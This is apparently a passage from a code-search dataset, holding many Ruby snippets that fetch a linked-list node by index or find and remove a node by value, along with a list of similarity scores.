"def at(index)\n node = @head\n count = 0\n size.times do\n break if index == count\n node = node.next_node\n count += 1\n end\n return node.data\n end",
"def get(index)\n raise(StandardError, 'IndexError') if invalid_index?(index)\n\n find_node_by_index(index).data\n end",
"def at(index)\n i = 0\n current_node = @head\n while i != index do\n current_node = current_node.next\n i += 1\n end\n return current_node.data\n end",
"def at(index)\n\t\t@current_node = @head\n\n\t\tindex.times do \n\t\t\t@current_node = @current_node.next_node\n\t\tend\n\n\t\treturn @current_node\n\tend",
"def at_index( n )\n # return Node object at position n in the list\n # same as array[n]\n\n # node = @head\n # n.times do\n # node = node.next if node\n # end\n # node\n\n each{ |node, index| return node if index == n }\n\n # index = 0\n # while node\n # return node if index == n\n # node = node.next # i++\n # index += 1\n # end\n # nil\n end",
"def find_node(index)\n counter = 0\n current_node = @first\n while counter < index \n current_node = current_node.next_node\n counter += 1\n end\n current_node\n\n end",
"def get_at_index(index)\n # initialize current to head\n current = @head\n # account for index being greater than list length\n if index + 1 > length\n return nil\n # otherwise, move current to index\n else \n index.times do \n current = current.next\n end\n end\n # return value at indexed node\n return current.data\n end",
"def at(index) \n current_node = head\n\n index.times do\n current_node = current_node.next_node\n end\n current_node\n end",
"def get_at_index(index)\n current_index = 0\n current_node = @head\n\n until current_index == index\n return nil if current_node.nil?\n current_node = current_node.next\n current_index += 1\n end\n return current_node.data\n end",
"def at(index)\n if index >= @size\n return nil\n elsif index == 0\n return @head\n end\n search_index = @head\n index.times {\n search_index = search_index.next_node\n }\n return search_index\n end",
"def section(index)\n nodes.at(index)\n end",
"def at(index)\n return @tail if index == -1\n return @head if index == 0\n\n counter = 1\n current_node = @head.next_node\n until counter == index\n current_node = current_node.next_node\n counter += 1\n end\n current_node\n end",
"def get_index(index)\n return self.at(index)\n end",
"def at(index)\n current = @head\n index.times do\n current = current.next_node\n end\n current\n end",
"def at(index)\n head\n index.times do\n self.next_node\n end\n @current_node.data\n end",
"def at(index)\n\t\tlocation = @head.next_node\n\t\t(index).times do\n\t\t\tlocation = location.next_node\n\t\tend\n\t\tlocation\n\tend",
"def at(index)\n return nil if @head.nil? \n return @head if index == 1\n return nil if index > self.size\n self.each_with_index do |current, ind|\n return current if ind == index\n end\n\n end",
"def at(index)\n\t\tx = @head\n\t\ty = 0\n\t\tuntil x == nil\n\t\t\tif y == index\n\t\t\t\treturn x\n\t\t\tend\n\t\t\ty += 1\n\t\t\tx = x.next\n\t\tend\n\tend",
"def at(index, current_index = 0, node = @head)\n return 'Not a valid index' if index >= size || index.negative?\n return node if index == current_index\n\n at(index, current_index + 1, node.next_node)\n end",
"def at_index(index)\n find_by_index(index)\n current\n end",
"def get_at_index(index)\n return nil if head == nil\n\n counter = 0\n\n node = head\n until counter == index || node.next.nil?\n node = node.next\n counter += 1\n end\n\n return counter == index ? node.data : nil\n end",
"def at(index)\n return nil if index < 0 || index > @size \n temp = @head\n index.times { temp = temp.next_node}\n temp\n end",
"def [](n)\n @nodes[n]\n end",
"def at(index)\n node = @head\n index.times { node = node.link } \n node\n end",
"def get_at_index(index)\n return nil if head == nil\n\n count = 0\n\n current_node = @head\n\n until count == index\n current_node = current_node.next\n count += 1\n end\n\n return current_node.data\n end",
"def [](index)\n @children[index]\n end",
"def [](index)\n if index < 0 || index > @length - 1\n return nil\n else\n node = @head\n count = 1\n until count > index\n node = node.next\n count += 1\n end\n end\n node.value\n end",
"def get_node(i=0)\n nodes.select {|a| a.number == i.to_i}.first\n end",
"def retNode(index)\n #puts \"Node Values: #{@nodeValues}\"\n if (@nodeValues.size > index)\n return @nodeValues[index]\n else\n return Hash.new\n end\n end",
"def search_for(index)\n p index\n @structure.each do |node|\n if node.edge_id == index \n return node end\n end\n end",
"def get_val_at_index(index)\n if index_valid?(index)\n current_node = @head\n i = 0\n while i < index\n current_node = current_node.next_node\n i += 1\n end\n current_node.val\n end\n end",
"def get_child(index)\n @children[index]\n end",
"def find_node(index)\n\n\t\t#start at the head\n\t\tcounter = 0\n\t\tcurrent_node = @head\n\n\t\t# crawl to index position\n\t\t# outputs each node value for visibility\n\t\twhile counter < index\n\t\t\tcurrent_node = current_node.next\n\t\t\tcounter += 1\n\t\tend\n\n\t\tputs \"Found node at index #{index} with value: #{current_node.data}\"\n\t\tcurrent_node\n\tend",
"def at(index)\n return \"Index out of range\" if index > self.size\n node = self.head\n if sign(index) == \"+\"\n (index).times do\n node = node.next\n end\n elsif sign(index) == \"-\"\n (index).times do\n node = node.prev\n end\n end\n node\n end",
"def [](index)\n children[index]\n end",
"def get(index)\n if @llist\n node = @llist\n (index).times do\n node = node.next_node\n end\n node\n else\n# todo: handle unknown index\n end\n end",
"def node_by_index(index)\n subject.to_xml.to_a[index]\nend",
"def atIndex(index)\n current = @head\n (index).times do\n current = current.next_node\n end\n #puts \"current.data at index #{index} is #{current.data}\"\n current\n end",
"def get_child(index)\n \t@children[index]\n end",
"def at(index)\n self[index]\n end",
"def get_node(index)\n return [nil, @tail] if index == @size\n return [nil, nil] unless in_range? index\n \n previous = nil\n current = @head\n current_index = 0\n \n while current_index < index and current\n previous = current\n current = current.successor\n current_index += 1\n end\n \n [current, previous]\n end",
"def [](index)\n get(index)\n end",
"def at(index)\n return nil if @head.nil? || index > self.size - 1\n current_node = @head\n (index).times do\n current_node = current_node.next\n end\n current_node.data\n end",
"def [](index)\n if index >= 0\n node = @head\n index.times do\n node = node.next if node\n end\n elsif index < 0\n node = last\n iter = (index * -1) - 1 # convert neg to pos and\n # - 1 bc node = last\n (iter).times do\n node = prev node\n end\n end\n node ? node.value : nil\n end",
"def get(index)\n \n end",
"def get_at_index(index)\r\n \r\n # determine length\r\n if @head.nil?\r\n return nil\r\n else\r\n length = 1\r\n current = @head\r\n until current.next.nil?\r\n current = current.next\r\n length += 1\r\n end\r\n end\r\n \r\n # return nil if index reference is outside of list length\r\n if (index + 1) > length\r\n return nil\r\n end\r\n \r\n # return the value at given index\r\n current = @head\r\n index.times do\r\n current = current.next\r\n end\r\n \r\n return current.data\r\n end",
"def at(index)\n current_node = @head\n index.times do\n current_node = current_node.next_node\n if current_node.next_node == nil\n puts \"no data\"\n break\n end\n end\n current_node\n end",
"def find_node( index )\n\n\n\t\tcount = 0\n\t\tcurrent_node = @head\n\t\tlast_node = nil\n\n\t\twhile count < index\n\n\n\t\traise \"No node at index\" if current_node.next.nil?\n\n\t\t\tprint_node( current_node, count )\n\n\t\t\tlast_node = current_node\n\t\t\tcurrent_node = current_node.next\n\t\t\tcount += 1\n\n\t\tend\n\n\t\tputs \"At index #{count}: #{current_node.word}\"\n\n\t\treturn last_node, count\n\n\tend",
"def [](index)\n @index[index]\n end",
"def read(index)\n return if index.negative? || first_node.nil?\n\n current_index = 0\n current_node = first_node\n while current_index < index\n current_node = current_node.next_node\n current_index += 1\n\n return nil unless current_node\n end\n\n current_node.data\n end",
"def get_at_index(index)\n return nil if @head.nil?\n \n pointer = @head\n count = 0\n until pointer.next.nil? || count == index\n pointer = pointer.next\n count += 1\n end\n\n return pointer.data\n end",
"def get_at_index(index)\r\n return nil unless @head\r\n return nil if index < 0\r\n cursor = @head\r\n index.times do\r\n return nil unless cursor.next\r\n cursor = cursor.next\r\n end\r\n return cursor.data\r\n end",
"def get_at_index(index)\n return nil if @head.nil?\n\n current = @head\n index.times do\n return nil if current.next.nil?\n current = current.next\n end\n\n return current.data\n end",
"def nth(index)\n node = @current\n position = node\n if index > 0\n while index > 1 and node and node.next\n node = node.next\n index -= 1\n @current = node\n break if position.equal?(node)\n end\n elsif index < 0\n while index < 0 and node and node.prev\n node = node.prev\n index += 1\n @current = node\n break if position.equal?(node)\n end\n end\n current\n end",
"def get_at_index(index)\n return nil if index > length\n return get_at_index_helper(index, 0, @head)\n end",
"def at(index)\n index += size if index < 0\n return nil if index < 0\n node = self\n while index > 0\n node = node.tail\n index -= 1\n end\n node.head\n end",
"def get_at_index(index)\n counter = 0\n pointer = @head\n return nil if @head.nil?\n until counter == index || pointer.next.nil?\n pointer = pointer.next\n counter += 1\n end\n return pointer.data\n end",
"def find_node( index )\n\n\n\t\tcount = 0\n\t\tcurrent_node = @head\n\t\tlast_node = nil\n\n\t\twhile count < index\n\n\n\t\traise \"No node at index\" if current_node.next.nil?\n\n\t\t\tprint_node( current_node, count )\n\n\t\t\tlast_node = current_node\n\t\t\tcurrent_node = current_node.next\n\t\t\tcount += 1\n\n\t\tend\n\n\t\tputs \"Weight: #{current_node.data[ 1 ]}\"\n\n\t\treturn last_node, count\n\n\tend",
"def at_index(index)\n if head == nil\n \"Theres nothing in the list\"\n else\n tmp = head\n i = 0\n while i != index\n tmp = tmp.next_node\n i += 1\n end\n tmp\n end\n end",
"def [](index)\n return get(index)\n end",
"def [](index)\n cast get(index)\n end",
"def at(index); end",
"def nth(index)\n node = @current\n if index > 0\n while index > 1 and node and node.next\n node = node.next\n index -= 1\n end\n @current = node\n elsif index < 0\n while index < 0 and node and node.prev\n node = node.prev\n index += 1\n end\n @current = node\n end\n current\n end",
"def [](index)\n i = 0\n each { |x| return x if i == index; i += 1 }\n nil # out of index\n end",
"def find_node(index)\n counter = 0\n current_node = @head\n\n while counter < index\n current_node = current_node.next\n puts \"Iterating through index #{counter} to find #{index}\"\n counter += 1\n end\n puts \"Found node at index #{index} with value: #{current_node.word}\"\n current_node\n end",
"def get_at_index(index)\n return nil if @head.nil?\n current = @head\n index.times do\n return nil if current.nil?\n current = current.next\n end\n return current.data\n end",
"def get_at_index(index)\r\n curr = @head\r\n count = 0 \r\n\r\n while count < index && curr\r\n count += 1\r\n curr = curr.next \r\n end\r\n\r\n if count == index \r\n return curr.data \r\n else \r\n return nil\r\n end\r\n end",
"def get_at_index(index)\n return nil unless @head\n\n current = @head\n\n index.times do\n return nil unless current.next\n current = current.next\n end\n return current.data\n end",
"def index(node = T.unsafe(nil)); end",
"def index(node = T.unsafe(nil)); end",
"def child(index)\n @children[index]\n end",
"def get(index)\n case\n when index < 0 then return -1\n when index == 0 then return @head.val\n when index >= @length then return -1\n else\n current = @head\n for i in 0..(index-1)\n current = current.next\n end\n return -1 if current.nil?\n return current.val\n end\n end",
"def at(index)\n each.with_index { |v, i| return v if i == index }\n return nil\n end",
"def get_at_index(index)\n current = @head\n count = 0\n while current != nil\n if count == index\n return current.data\n else\n current = current.next\n count += 1\n end\n end\n end",
"def get_at_index(index)\n count = 0\n\n current = @head\n\n until count == index\n return nil if current.nil?\n current = current.next\n count += 1\n end\n\n return current.data\n end",
"def get_item(index)\r\n @list[index]\r\n end",
"def get_at_index(index)\n raise NotImplementedError, \"Please implement get_at_index\"\n end",
"def get_at_index(index)\n # return nil unless @head\n if @head == nil\n return nil\n end\n current = @head\n index.times do \n # return nil unless current.next\n if current.next == nil #check if index is out of bounds\n return nil\n end\n current = current.next\n end\n return current.data\n end",
"def node_from_set(nodeset, index)\n if index.kind_of?(Integer)\n node = nodeset[index]\n elsif index.kind_of?(Symbol) && nodeset.respond_to?(index) \n node = nodeset.send(index)\n else\n raise \"Could not retrieve node using index #{index}.\"\n end\n \n return node\n end",
"def [](index)\n return nil if index.negative? || index >= @size\n\n current_node = @head\n (0..index - 1).each { |_i| current_node = current_node.next }\n current_node.data\n end",
"def [](index); end",
"def get_at_index(index)\n return nil if @head.nil?\n\n current = @head\n count = 0\n\n until count == index || current.next.nil?\n current = current.next\n count += 1\n end\n\n return current.data || nil\n end",
"def at(index)\n curr = head\n index.downto(1) do |_|\n break if curr.nil?\n\n curr = curr.next\n end\n curr\n end",
"def get_at_index(index)\n i = 0\n current = @head\n while current != nil\n if i == index\n return current.data\n end\n current = current.next\n i += 1\n end\n # puts \"Error: #{index} exceeds the linked list length.\"\n return nil\n end",
"def get(index)\n return raise \"Index out of bounds: #{index}\" if index > @size || index.negative?\n\n position = 0\n current = @head\n while position < index\n current = current.next\n position += 1\n end\n current.value\n end",
"def get(index)\n @list[index] || -1\n end",
"def read_node(index)\n\n counter = 0\n current_node = @head\n\n until counter == index do\n current_node = current_node.next\n counter += 1\n puts \"X\" * counter\n end\n\n if current_node.nil?\n puts \"No node here!\"\n else\n word = current_node.word\n definition = current_node.definition\n\n puts \"#{word}: #{definition}\"\n end\n\n end"
] |
[
"0.80650747",
"0.8027868",
"0.79429704",
"0.79272574",
"0.7888532",
"0.7851094",
"0.77796024",
"0.77686954",
"0.76669985",
"0.7653813",
"0.76342356",
"0.76338434",
"0.76329756",
"0.7612621",
"0.76124626",
"0.756199",
"0.75602156",
"0.751233",
"0.74686396",
"0.7449787",
"0.7412818",
"0.7393263",
"0.7388322",
"0.73294806",
"0.7299827",
"0.7226557",
"0.7220866",
"0.72191995",
"0.721519",
"0.71960866",
"0.71956193",
"0.7185742",
"0.71498954",
"0.71345025",
"0.713204",
"0.71026564",
"0.7087524",
"0.70724726",
"0.70681673",
"0.7061744",
"0.70613956",
"0.70390123",
"0.70347",
"0.70288014",
"0.70233685",
"0.70195305",
"0.70138997",
"0.6986115",
"0.6982351",
"0.6979261",
"0.6927713",
"0.6916254",
"0.6895211",
"0.6886044",
"0.6860911",
"0.6850629",
"0.68337244",
"0.6806118",
"0.680045",
"0.67915875",
"0.67904425",
"0.6782112",
"0.67600906",
"0.6754623",
"0.6738182",
"0.6735022",
"0.6730064",
"0.67289764",
"0.6723155",
"0.6715682",
"0.6712773",
"0.67120624",
"0.6710701",
"0.67082345",
"0.6701663",
"0.67006725",
"0.6695913",
"0.6695316",
"0.6695225",
"0.6693258",
"0.6691208",
"0.6681932",
"0.66819143",
"0.66819143",
"0.6664322",
"0.6662983",
"0.6656766",
"0.6651527",
"0.66364115",
"0.662516",
"0.6624291",
"0.660562",
"0.658445",
"0.6574669",
"0.6556679",
"0.6555633",
"0.65495455",
"0.65386975",
"0.65098816",
"0.6508956",
"0.6505006"
] |
0.0
|
-1
|
Public: Finds and removes the first occurrence of a Node with the desired value. value the Ruby object value to find and remove from the LinkedList Examples
|
def remove(value)
element = self.head
previous_element = @head
while element.value != value
if element.next.nil?
return nil
else
previous_element = element
element = element.next
end
end
previous_element.next = element.next
element
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_value value\r\n #find the pointer to the wanted node using LIST-SEARCH(value)\r\n #then delete that node with LIST-DELETE-BY-NODE(node)\r\n delete_node(self.search(value))\r\n end",
"def remove(value)\n if head.value == value\n @head = head.next\n else\n current_node = head.next\n prev_node = head\n while current_node\n if current_node.value == value\n prev_node.next = current_node.next\n return\n else\n prev_node = current_node\n current_node = current_node.next\n end\n end\n nil\n end\n end",
"def delete(value)\n delete_node(find(value))\n end",
"def remove(value)\n\t\t\n\t\tnode = @head\n\t\twhile node.value.sal != value do\n\t\t\tnode = node.next\n\t\tend\n\t\t\n\t\tif node != nil\n\t\t\n\t\t\tif node != @head\n\t\t\t\tnode.prev.next = node.next\n\t\t\telse\n\t\t\t\t@head = node.next\n\t\t\tend\n\n\t\t\tif node != @tail\n\t\t\t\tnode.next.prev = node.prev\n\t\t\telse\n\t\t\t\t@tail = node.prev\n\t\t\tend\n\n\t\t\t@size-=1\n\t\tend\t\t\t\n\t\t\t\t\n\tend",
"def delete(value)\n current_node = @head\n\n if current_node.value == value\n @head = current_node.next\n else\n\n previous_node = current_node\n current_node = current_node.next\n\n loop do \n break if current_node.value == value\n previous_node = current_node\n current_node = current_node.next\n end\n\n previous_node.next = current_node.next\n end\n end",
"def delete(value)\r\n \r\n current = @head\r\n \r\n # if list is empty\r\n if current.nil?\r\n return\r\n end\r\n \r\n # if value is at head\r\n if current.data == value\r\n @head = current.next\r\n end\r\n \r\n # traverse list for matching value. stop when we find a match or get past the final node\r\n until current.nil? || current.data == value\r\n # if value isn't in the list, stop\r\n if current.next.nil?\r\n return\r\n # if the value matches our target value, make previous node point to node after current node\r\n elsif current.next.data == value\r\n current.next = current.next.next\r\n end\r\n current = current.next\r\n end\r\n \r\n end",
"def delete(value)\n find_node(value)&.delete\n end",
"def delete(value)\n if @head == nil\n return\n end\n\n # account for case: node to delete is current head\n if @head.data == value\n @head = @head.next\n return\n end\n\n current = @head\n while current.next != nil\n if current.next.data == value\n current.next = current.next.next\n return\n end\n current = current.next\n end\n # value to be deleted was not found if the control flow reaches here\n end",
"def delete(value)\n\t\tcurrent_node = @head \n\t\tif current_node.value == value \n\t\t\t@head = current_node.next_node\n\t\tend \n\t\tuntil current_node.next_node.value == value \n\t\t\treturn false if current_node.next_node == nil \n\t\t\tcurrent_node = current_node.next_node\n\t\tend \n\t\tcurrent_node.next_node = current_node.next_node.next_node\n\tend",
"def remove(value)\n if self.include?(value)\n if head.data == value\n remove_head(value, head)\n else\n remove_value(value, head)\n end\n else\n return nil\n end\n end",
"def delete(value)\r\n prev = nil\r\n curr = @head \r\n\r\n while curr \r\n if curr.data == value \r\n if prev == nil\r\n @head = curr.next \r\n else \r\n prev.next = curr.next \r\n end\r\n return\r\n\r\n else\r\n prev = curr\r\n curr = curr.next\r\n end\r\n end\r\n\r\n # if u reached this point, then nothing matches, and no changes made to list\r\n end",
"def find(value)\n node = @head\n while node\n if node.value == value\n return node\n end\n node = node.next\n end\n\n return nil\n end",
"def delete(value)\n return nil if @head.nil?\n\n current = @head\n\n if current.data == value\n @head = current.next\n @head.previous = nil\n return\n end\n\n until current.next.nil?\n if current.next.data == value\n temp = current.next.next\n current.next = temp\n if temp\n temp.previous = current\n end\n return\n end\n current = current.next\n end\n end",
"def delete_node(node_value)\n current_node = @root_node\n if current_node.get_node_data() == node_value\n @root_node = @root_node.get_next()\n @root_node.set_prev(nil)\n current_node = nil\n else\n while current_node.has_next?()\n current_node = current_node.get_next()\n if current_node.get_node_data() == node_value\n current_node.get_prev().set_next(current_node.get_next())\n current_node.get_next().set_prev(current_node.get_prev())\n return\n end\n end\n end\n end",
"def find(value)\n current_node = head\n while current_node != nil\n return current_node if current_node.value == value\n current_node = current_node.next\n end\n nil\n end",
"def delete(value)\r\n return nil if !@head\r\n if @head.data == value\r\n @head = @head.next \r\n return nil\r\n end \r\n cursor = @head\r\n while cursor.next && cursor.next.data != value\r\n cursor = cursor.next\r\n end\r\n cursor.next = cursor.next.next if cursor.next\r\n end",
"def remove(value)\n current = @head\n current = current.next while current && current.value != value\n return raise \"Value not found: #{value}\" if current.nil?\n\n if current == @head\n @head = @head.next\n @head.prev = nil unless @head.nil?\n @size -= 1\n return\n end\n if current == @tail\n @tail = @tail.prev\n @tail.next = nil unless @tail.nil?\n @size -= 1\n return\n end\n current.prev.next = current.next\n current.next.prev = current.prev\n @size -= 1\n end",
"def remove_node(value)\n new_head = remove_node_recursively(@head, value)\n if new_head\n @head = new_head\n else\n puts \"You can't empty list\"\n end\n end",
"def find(value)\n self.each {|node| return node if node.value == value}\n end",
"def delete(value)\n return nil if !@head\n if @head.data == value\n @head = @head.next\n @head.prev = nil\n return\n end \n cursor = @head\n while cursor && cursor.data != value\n cursor = cursor.next\n end\n\n if cursor\n cursor.prev.next = cursor.next\n cursor.next.prev = cursor.prev if cursor.next\n @tail = cursor.prev if cursor == @tail\n \n end\n end",
"def find_by_value(value)\n return nil if value.nil? || self.size == 0\n stop_node = self.head\n target = stop_node\n while target && !target.match_by_value(value)\n target = target.next\n break if stop_node.equal?(target)\n end\n target = nil unless target && target.match_by_value(value)\n target\n end",
"def find_node(value)\n current = @anchor.next_node\n while current != @anchor\n return current if current.value == value\n current = current.next_node\n end\n end",
"def delete(value:)\n if @head.value == value\n if @head.next.nil?\n @head.value = nil\n return value\n else\n @head = @head.next\n return value\n end\n else\n prev = @head\n temp = @head.next\n\n while !temp.nil?\n if temp.value == value\n prev.next = temp.next\n return value\n end\n\n prev = temp\n temp = temp.next\n end\n end\n\n return false # Not great to return different types but this is for fun\n end",
"def find(value)\n node = @head \n for i in 0..@size-1 \n return i if node.value == value\n node = node.link \n end\n return nil\n end",
"def remove_node(head, val)\n current = head\n until current.next_node.nil?\n if head.val == val\n current.next_node = current.next_node.next_node\n end\n\n current = current.next_node\n end\n\n head\nend",
"def remove_head(value, node)\n if node.left\n link = max_search(node.left)\n link.right = @head.right\n @head = @head.left\n elsif node.right\n link = min_search(node.right)\n link.left = @head.left\n @head = @head.right\n else\n @head = nil\n end\n end",
"def search(value)\n\t\t\treturn nil if self.empty?\n\t\t\telement = self.head\n\t\t\twhile element.value != value\n\t\t\t\tif element.next.nil?\n\t\t\t\t\treturn nil\n\t\t\t\telse\n\t\t\t\t\telement = element.next\n\t\t\t\tend\n\t\t\tend\n\t\t\telement\n\t\tend",
"def delete_node(value)\n return false unless @head\n curr_node = @head\n\n if @head.value == value\n @head = @head.next\n return true\n end\n\n while curr_node.next\n if value == curr_node.next.value\n curr_node.next = curr_node.next.next\n return true\n else\n curr_node = curr_node.next\n end\n end\n end",
"def remove_value(value, node)\n if node.left && value < node.data\n if node.left.data == value\n if node.left.left\n link = max_search(node.left.left)\n link.right = node.left.right\n node.left = node.left.left\n elsif node.left.right\n node.left = node.left.right\n else\n node.left = nil\n end\n else\n remove_value(value, node.left)\n end\n\n elsif node.right && value > node.data\n if node.right.data == value\n if node.right.left\n link = max_search(node.right.left)\n link.right = node.right.right\n node.right = node.right.left\n elsif node.right.right\n node.right = node.right.right\n else\n node.right = nil\n end\n else\n remove_value(value, node.right)\n end\n end\n end",
"def find(value)\n return nil if @head.nil?\n found = nil\n index = 0\n current_node = @head\n while !node.nil? do\n if node.data == value\n found = true\n break\n end\n index += 1\n current_node = node.next\n end\n found == true ? \"#{value} found at index #{index}!\" : nil\n end",
"def del_access_node(node)\n puts \"Deleting Node with value: #{node.value} from the list\"\n if node.next != nil\n node.value = node.next.value\n node.next = node.next.next\n else\n node.value = nil\n end\n print\n end",
"def remove_elements(head, val)\n return nil if head.nil?\n\n dummy = ListNode.new(nil)\n dummy.next = head\n current = dummy\n\n while current.next\n if current.next.val == val\n current.next = current.next.next\n else\n current = current.next\n end\n end\n\n dummy.next\nend",
"def find_node(value)\n return false if @head.nil?\n curr_node = @head\n match = false\n while curr_node\n break if match = (curr_node.value == value)\n curr_node = curr_node.next\n end\n\n match\n end",
"def delete_from(value)\n L.log '', \"Attempting to delete #{value} from BST\"\n outcome, new_root = @root_tree.delete_element(@root_tree, Node.new(value))\n @root_tree = new_root\n display_tree\n return outcome\n end",
"def delete(value, current=@head)\r\n return unless current\r\n return @head = @head.next if @head.data == value\r\n\r\n if current.next.data == value\r\n current.next = current.next.next\r\n return\r\n end\r\n\r\n delete(value, current.next)\r\n end",
"def find_before(value)\n node = @head\n return node if !node.next\n return node if node.next.data == value\n\n while (node = node.next)\n return node if node.next && node.next.data == value\n end\n end",
"def find(value)\n if head == nil\n nil\n else\n tmp = head\n i = 0\n while tmp != nil && tmp.value != value\n tmp = tmp.next_node\n i += 1\n end\n if tmp == nil\n \"The value is not in the list\"\n else\n i\n end\n end\n end",
"def remove_value(value)\n @children['value'][:value].delete(value)\n end",
"def delete(value)\n current_node = @root\n until current_node.nil?\n if current_node.data < value\n next_node = current_node.right_child\n if next_node.data == value\n current_node.right_child = delete_aux(next_node, value)\n break\n end\n current_node = current_node.right_child\n elsif current_node.data > value\n next_node = current_node.left_child\n if next_node.data == value\n current_node.left_child = delete_aux(next_node, value)\n break\n end\n current_node = current_node.left_child\n elsif current_node.data == value\n @root = build_tree(in_order_traversal(current_node) - [value])\n break\n end\n end\n end",
"def remove_node_recur(head, val)\n return nil if head.nil?\n\n if head.val == val\n return remove_node_recur(head.next_node, val)\n end\n\n head.next_node = remove_node_recur(head.next_node, val)\n head\nend",
"def find(value)\n current_node = @head\n counter = 0\n until current_node.nil?\n return counter if current_node.value == value\n\n current_node = current_node.next_node\n counter += 1\n end\n nil \n end",
"def add_first(value)\r\n new_node = Node.new(value, @head)\r\n @head = new_node\r\n end",
"def deleteNode node\n node.val = node.next.val\n node.next = node.next.next\nend",
"def get_value(value)\n if @head == nil #Comprobamos si la lista no esta vacía\n raise RuntimeError, \"Lista vacía, no se puede extraer nodo\"\n else\n\t\t i = @tail\n\t\t @valor=nil\n\t\t while i != nil\n\t\t if i.value == value\n\t\t @valor = i.value\n\t\t end\n\t\t i = i.next\n\t\t end\n end\n @valor\n end",
"def delete(value, node = root)\n return node if node.nil?\n \n if value < node.data\n node.left = delete(value, node.left)\n elsif value > node.data\n node.right = delete(value, node.right)\n else\n # si el nodo tiene un o ningún hijo\n return node.right if node.left.nil?\n return node.left if node.right.nil?\n \n # si el nodo tiene 2 hijos\n leftmost_node = leftmost_leaf(node.right)\n node.data = leftmost_node.data\n node.right = delete(leftmost_node.data, node.right)\n end\n node\n end",
"def find(needle)\n #return the Node object whose value == needle\n node = @head\n while node\n return node if node.value == needle\n node = node.next\n end\n #Return nil if cannot find it\n nil\n end",
"def e31_delete(node, input)\n while node.next != nil\n if node.value == input\n node.value = node.next.value\n node.next = node.next.next\n else\n node = node.next\n end\n end #while ends\n end",
"def delete(value)\n node = find(value, @root)\n if node.left || node.right \n if node.left && node.right \n max = maximum(node.left)\n if max.left \n max.parent.right = max.left \n max.left = nil\n end\n node.left.parent = max \n node.right.parent = max\n if (node.value <= node.parent.value)\n node.parent.left = max\n else \n node.parent.right = max\n end \n else \n replacement_node = node.left ? node.left : node.right \n parent = node.parent\n if replacement_node.value <= parent.value \n parent.left = replacement_node\n else \n parent.right = replacement_node\n end \n end \n else \n if node.parent \n parent = node.parent \n if (node.value <= parent.value)\n parent.left = nil\n else \n parent.right = nil\n end\n else \n @root = nil \n nil\n end \n end \n end",
"def getFather(value, node, toRemove) \n current = node ##asignamos variable para recorrido\n \n while(current != nil) do ##Recorremos hasta encontrar o no encontrarlo\n if toRemove.getData() > current.getData() #Decidimos direccion\n if current.getRight() == toRemove\n return current\n else\n current = current.getRight() #dezplazamiento a derecha\n end\n else \n if current.getLeft() == toRemove\n return current\n else \n current = current.getLeft()\n end\n end \n end \n \n return nil\n end",
"def breadth_first(value_to_find)\r\n current_node = self\r\n queue = MyQueue.new \r\n\r\n while current_node != nil\r\n if current_node.payload == value_to_find\r\n return current_node\r\n end\r\n current_node.children.each do |child|\r\n queue.enqueue(child)\r\n end\r\n current_node = queue.dequeue\r\n end\r\n end",
"def add_first(value)\r\n current = @head\r\n # add new node with provided value and set next to current\r\n new_node = Node.new(value, current)\r\n # new node becomes head\r\n @head = new_node\r\n end",
"def find(value)\n idx = 0\n node = list\n while node != nil\n return idx if node.value == value\n idx += 1\n node = node.nextNode\n end\n return nil\n end",
"def remove_elements(head, val)\n loop do\n return unless head\n break if head.val != val\n head = head.next\n end\n\n current_node = head\n next_node = head.next\n\n while next_node\n if next_node.val == val\n next_node = next_node.next\n current_node.next = next_node\n else\n current_node = next_node\n next_node = next_node.next\n end\n end\n\n head\nend",
"def remove_front\n value = self.head # save the first element\n self.head = value.next # the second element becomes the new first element\n value.next = nil # no longer in the list, so no next\n return value\n end",
"def remove_thing(value)\n @children['thing'][:value].delete(value)\n end",
"def remove_thing(value)\n @children['thing'][:value].delete(value)\n end",
"def delete(head, val)\n current = head\n prev = nil\n while (current != nil)\n if current.value == val\n # if it's a first element\n if prev == nil\n return head.next\n # else any element which is not first but 2nd, 3rd and so forth\n else\n prev.next = prev.next.next\n break\n end\n else\n prev = current\n current = current.next\n end\n end\n return head\nend",
"def remove_elements(head, val)\n return head if head.nil?\n\n tail = head.next\n\n if head.val == val\n remove_elements(tail, val) # throw away current head\n else\n head.next = remove_elements(tail, val)\n head # keep/return current head\n end\nend",
"def delete(value)\n return \"BST is empty\" if is_empty\n\n parent = nil\n current = @root\n\n while current && current.value != value\n parent = current\n current = current.value > value ? current.left : current.right\n end\n\n return \"Value to delete not found\" if current == nil\n\n if !current.left && !current.right\n parent.left = nil\n parent.right = nil\n end\n\n puts \"NOT COMPLETE\"\n end",
"def remove_head\n\t\t\n\t\told_head = @head\n\n\t\tif old_head == nil\n\t\t\treturn nil\n\t\telse\n\t\t\t@head = old_head.next_node\n\t\tend\n\n\t\t# puts old_head.value\n\t\treturn old_head\n\n\tend",
"def find_node(value)\n met_resp = find_node_support(value)\n return nil if met_resp[:node].nil?\n\n met_resp[:node]\n end",
"def find_node(value)\n met_resp = find_node_support(value)\n return nil if met_resp[:node].nil?\n\n met_resp[:node]\n end",
"def find(needle) # returns the node with value=value or nil if not found\n next_node = @head\n while next_node && next_node.needle != needle\n next_node = next_node.next\n end\n next_node\n end",
"def find(value)\n i = 1\n current_node = @head\n while current_node != nil do\n return i if current_node.data == value\n current_node = current_node.next\n i += 1\n end\n return nil\n end",
"def find(value)\n index = 0\n temp = @head\n while temp\n return index if temp.value == value\n index += 1\n temp = temp.next_node\n end\n nil\n end",
"def add_first(value)\r\n @head = Node.new(value, @head)\r\n end",
"def delete(value)\n\t \n if @root == nil \n return false\n end\n \n #Obtenemos el nodo a remover\n\t toRemove = selectElement(value,@root)\n \n ## Mandamos a buscar al padre del nodo\n father = getFather(value,@root,toRemove)\n \n if !isLeaft(toRemove,father) ## remueve elemento al encontrarlo y sea hoja\n promote(toRemove,father) ##Verificamos si es hijo unico\n end\n \n return true\n end",
"def find(val)\n found = false\n if !self.head\n return nil\n end\n current = self.head\n while current.next\n if current.value == val\n found = true\n break\n end\n current = current.next\n end\n found ? current : nil\n end",
"def find(value) \n index = 0\n node = @head\n while(node.value != value)\n node = node.next_node\n index += 1\n if(node.value == value)\n return index\n end\n if(node == @tail) && (node.value != value)\n return nil\n end\n end\n return 0 \n end",
"def find(value,node=head)\n return 0 unless self.contains?(value)\n head\n loops = 0\n until @current_node.next == nil do\n if @current_node.data == value\n return loops\n end\n self.next_node\n loops += 1\n end\n return loops\n end",
"def eliminate(val)\r\n @modified = true if @candidates.delete(val) != nil\r\n @value = @candidates.first if @candidates.size == 1\r\n end",
